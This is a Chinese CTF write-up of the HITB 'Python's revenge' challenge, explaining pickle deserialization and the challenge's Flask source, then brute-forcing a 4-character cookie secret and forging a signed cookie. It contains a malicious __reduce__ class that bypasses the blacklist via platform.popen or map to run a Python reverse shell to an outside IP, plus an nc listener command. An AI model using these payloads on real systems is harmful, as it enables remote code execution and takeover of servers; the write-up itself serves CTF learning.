从python’s revenge看python反序列化

从python’s revenge看python反序列化

    • 一、反序列化库pickle简介
    • 二、题目分析
    • 三、小结

这是Hitb中的一道题、python的复仇,给我印象很深。我还本地复现了一下,得到了一些小结论,在此分享一下,希望对大家有点帮助。

一、反序列化库pickle简介

在分析题目之前,先大概讲讲题目里涉及的用于反序列化的pickle库。还有一个库叫cPickle,用C语言写成,性能更佳,但不支持里面子类继承。这里主要介绍pickle。pickle的官方手册

pickle是一种强大的提供序列化反序列化功能的库。我们知道python中一切皆对象,pickle可支持python所有的数据类型。pickle主要作用是提供对象的持久化存储。所谓持久化,就比如说你有一个对象想在以后的程序直接使用,可以直接用pickle存在文件里,下次再反序列化后得到。或者你想把一个对象传给其他程序,可以用pickle打包再传过去,那边的python程序用pickle反序列化,就可以用了。与json不同的是,pickle是python特有的,仅供python程序间沟通使用。

另外,官方手册中强调道“The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.”使用该库时要提防不可信的数据,否则会引发安全问题。

1.pickle.dumps与pickle.dump
序列化操作。其中dumps是以字符串的形式存储,而dump是以文件形式。

data = '123'
f = open('test.txt','w')
pickle.dump(data,f)
f.close()

s = pickle.dumps(data)
print s

2.pickle.loads与pickle.load
反序列化操作,与上面类似,loads以字符串形式存储而load以文件形式。

f = open('test.txt','r')
print pickle.load(f)
f.close()

print pickle.loads(s)

3.Pickler与Unpickler
序列化与反序列化类。Pickler和Unpickler分别提供了一个dump方法和load方法。就像这样:

f = open('123.txt', 'w')
P = pickle.Pickler(f)
P.dump('123')
P.dump('456')
f.close()

f = open('123.txt', 'r')
U = pickle.Unpickler(f)
a = U.load()
b = U.load()
f.close()
print a
print b

其中Pickler还有一个clear_memo方法,可清除这个对象之前的“记忆”。Pickler类在多次序列化同一个类时,会根据其特点存储记忆,以减少存储量。clear_memo可清除这些“记忆”。这些可能跟本例关系不大,但还是可以了解一下。

4.__reduce__
下面要介绍这个跟反序列化有关的魔术方法:__reduce__。官方文档。它会在一个对象被反序列化时会执行,就像__wakeup。因为有些类引用了文件句柄,pickle无法处理。但通过这个魔术方法,就可以正常序列化。
读了bendawang师傅的博客,总结的很清楚,这里引用一下他的文章内容。
1.__reduce__可以返回一个字符串,它会去当前作用域内找名字和字符串内容相同的对象并返回(一般也就是实例化对象的名称),否则报错。
2.__reduce__若返回一个元组,则它的第一个参数为可调用对象,第二个为该调用对象的参数元组,后三个参数可选。这个函数也是反序列化中的安全隐患。
测试代码:

import pickle

def show(a):
	print a

class test(object):
	def __init__(self, name):
		self.name = name
	def __reduce__(self):
		return (show,(self.name,))

example = test('123')
res = pickle.dumps(example)
pickle.loads(res)

运行结果为123。

import pickle

def show(a):
	print a

class test(object):
	def __init__(self, name):
		self.name = name
	def __reduce__(self):
		return 'example'

example = test('123')
res = pickle.dumps(example)
a = pickle.loads(res).__reduce__()
print a

运行结果为example

(引用bendawang博客中的代码)如果我们这么写。

import os
import pickle
class test(object):
    def __reduce__(self):
        return (os.system,('ls',))

a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)

就可达到命令执行的效果。

二、题目分析

讲完本题所需了解的内容,我们开始分析题目。题目网站主要有三个路径,主页、reminder和clear。我们可以进入reminder页面,将“回忆”的内容发布,这样能在主页里看到自己的“回忆”,也可以点击clear清空回忆。
从python’s revenge看python反序列化_第1张图片

从python’s revenge看python反序列化_第2张图片
从python’s revenge看python反序列化_第3张图片
题目还给了源码,进入源码,慢慢分析。

from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for, session
from flask import render_template, flash, redirect, url_for, request
from werkzeug.security import safe_str_cmp
from base64 import b64decode as b64d
from base64 import b64encode as b64e
from hashlib import sha256
from cStringIO import StringIO
import random
import string

import os
import sys
import subprocess
import commands
import pickle
import cPickle
import marshal
import os.path
import filecmp
import glob
import linecache
import shutil
import dircache
import io
import timeit
import popen2
import code
import codeop
import pty
import posixfile

SECRET_KEY = 'you will never guess'

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

app = Flask(__name__)
app.config.from_object(__name__)

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]


@app.before_request
def count():
    session['cnt'] = 0

@app.route('/')
def home():
    remembered_str = 'Hello, here\'s what we remember for you. And you can change, delete or extend it.'
    new_str = 'Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:'
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('index.html', txt=remembered_str, location=location)

@app.route('/clear')
def clear():
    flash("Reminder cleared!")
    response = redirect(url_for('home'))
    response.set_cookie('location', max_age=0)
    return response

@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
    if request.method == 'POST':
        location = request.form["reminder"]
        if location == '':
            flash("Message cleared, tell us when you have found more brains.")
        else:
            flash("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret)
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie)
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('reminder.html')

class FilterException(Exception):
    def __init__(self, value):
        super(FilterException, self).__init__(
            'The callable object {value} is not allowed'.format(value=str(value)))

class TimesException(Exception):
    def __init__(self):
        super(TimesException, self).__init__(
            'Call func too many times!')

def _hook_call(func):
    def wrapper(*args, **kwargs):
        session['cnt'] += 1
        print session['cnt']
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session['cnt'] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper

def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()


def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))
    return location


def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5051)

1.首先是长长的import,可以看出小站使用了flask。对flask里函数有疑问的可以去查询flask手册,里面都写的很详细。自12行起导入的许多库中,不乏有能够实现代码执行、文件读取和命令执行的库。
2.后面我们看到了.secret文件的制作。内容是由四位随机的字母和数字构成,之后再把值传给cookie_secret。可知题目放出后.secret就不会再变了,cookie_secret的值是固定的。
3.后面我们看到了一长串"黑名单",里面存着放大量涉及文件操作、命令执行的函数,这个会用于后期的过滤。
4.之后便是路由的几个页面。我们之前在测验时发现了一个名为location的cookie。
在主页home()中,我们看到

location = getlocation()
if location == False:
    return redirect(url_for("clear"))

我们跟进getlocation

def getlocation():
    cookie = request.cookies.get('location')#获取location
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):#认证不通过则会return False,从而触发之前的clear
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))#自定义的loads,用于反序列化
    return location

里面涉及cookie的认证。(werkzeug是python的WSGI规范实用函数,封装了许多web功能,这里的safe_str_cmp就是来源于此。经常配合flask使用)
5.我们知道loads用于反序列化,这里的loads是自定义的,我们就跟进去看看。

def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()

这里建立了一个字符串型的io,将参数导入后,建立了一个反序列化对象。这里用到了pickle中的映射表(dispatch_table),unpkler.dispatch是一个函数集。这部分内容资料比较少,我们猜测unpkler.dispatch[pickle.REDUCE]跟__reduce__方法有关。我们再来看看_hook_call装饰器。

def _hook_call(func):
    def wrapper(*args, **kwargs):
        session['cnt'] += 1
        print session['cnt']
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session['cnt'] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper

经测试发现的确与__reduce__有关。其中args[0]即传进来的反序列化对象。当__reduce__返回值为包含调用对象的元组时,args[0].stack是一个包含两个元素的序列,第一个是调用对象、第二个是对应的参数元组。这里对args[0].stack按照黑名单进行过滤,若匹配则抛出异常。

至此,我们得到了解题的大致思路:
构造一个恶意cookie,即location。让location被getlocation方法获取并解析,匹配通过后,进loads里反序列化,然后绕过过滤,执行恶意方法,让主机反弹shell,从而查看flag。

1.首先,要让cookie匹配通过,就要满足“safe_str_cmp(calc_digest(location, cookie_secret), digest)”这个条件。虽然还不知道cookie_secret,但我们可以爆破。因为在reminder下,有:

location = request.form["reminder"]
...
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
response = redirect(url_for('home'))
response.set_cookie('location', cookie)

所以通过尝试cookie_secret的值,看看它与我们发的location、也就是也就是感叹号后面的部分组合运算得到的值是否和真的值相同就行了。
以下脚本均改自一叶飘零师傅的脚本:

from hashlib import sha256
import random
import string

strset = string.ascii_letters + string.digits

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

location = "VjEyMwpwMAou"

for x1 in strset:
    for x2 in strset:
        for x3 in strset:
            for x4 in strset:
                cookie_secret = x1+x2+x3+x4
                cookie = make_cookie(location, cookie_secret)
                if cookie == "a782429516ec22984b0f25ca11d33e72b8e4d753145b73773fa28511e8e68c7a!VjEyMwpwMAou":
                    print cookie_secret
                    break

得到cookie_secret的值为hitb。
2.之后我们要构造一个包含恶意__reduce__的类,经过查看black_type_list,发现platform.popen没有被过滤,于是脚本:

import pickle
import platform
from base64 import b64encode as b64e
from hashlib import sha256
import os
def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

class Exploit(object):
    def __reduce__(self):
 		return (platform.popen,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"120.79.178.49\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",)) 

def serialize_exploit():
    shellcode = pickle.dumps(Exploit())
    return shellcode

location = b64e(serialize_exploit())
cookie_secret = "hitb"
cookie = make_cookie(location, cookie_secret)
print cookie

其实也可以使用map绕过,即:

class Exploit(object):
    def __reduce__(self):
 		return map,(os.system,["..."])

这样被检测的函数就变成map了,map不在黑名单里。

其中__reduce__返回的第二个参数是python反弹shell的姿势,对方主机执行这条命令后,它的shell就会反弹到你的vps上去。反弹shell的方法可以看独自等待的这篇文章

于是得到恶意cookie,我们带上它去访问。
从python’s revenge看python反序列化_第4张图片
服务端看到
从python’s revenge看python反序列化_第5张图片
同时在vps上nc -lvvp 23333。
从python’s revenge看python反序列化_第6张图片
拿到shell。

三、小结

以前也没有关注过python反序列化,这次总结还是有所收获。复现也很容易

参考链接:
https://docs.python.org/2/library/pickle.html
http://www.bendawang.site/2018/03/01/关于Python-sec的一些总结/
http://skysec.top/2018/04/13/2018-XCTF-HITB-WEB/#Python’s-revenge
https://www.jianshu.com/p/8fd3de5b4843
https://stackoverflow.com/questions/19855156/whats-the-exact-usage-of-reduce-in-pickler
https://www.waitalone.cn/linux-shell-rebound-under-way.html
https://blog.csdn.net/sxingming/article/details/52164249---

你可能感兴趣的:(CTF,Web安全,python反序化,CTF,Web安全)